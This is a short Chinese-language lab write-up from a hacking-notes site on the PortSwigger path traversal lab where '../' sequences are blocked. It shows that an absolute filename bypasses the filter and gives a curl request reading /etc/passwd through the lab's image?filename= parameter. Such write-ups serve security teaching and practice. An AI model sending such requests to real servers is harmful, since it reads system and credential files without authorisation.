> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/path-traversal/path-traversal-with-absolute-bypass-when-sequences-are-blocked.md).
# 在序列被阻止时通过绝对路径绕过路径遍历
在序列被阻止时通过绝对路径绕过路径遍历，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复
### 文件路径遍历：通过绝对路径绕过被阻止的遍历序列
该应用程序会阻止遍历序列（`../`），但会将所提供的文件名视为与默认工作目录相关。
要完成该实验，只需恢复该文件的内容 **/etc/passwd** 文件。
由于遍历序列会被过滤，因此可以通过直接指定绝对路径来绕过该机制：
```bash
/etc/passwd
```
例如使用 **curl**:
{% code overflow="wrap" %}
```bash
curl 'https://0ac400440477a34780513f2a000f00a1.web-security-academy.net/image?filename=/etc/passwd'
```
{% endcode %}
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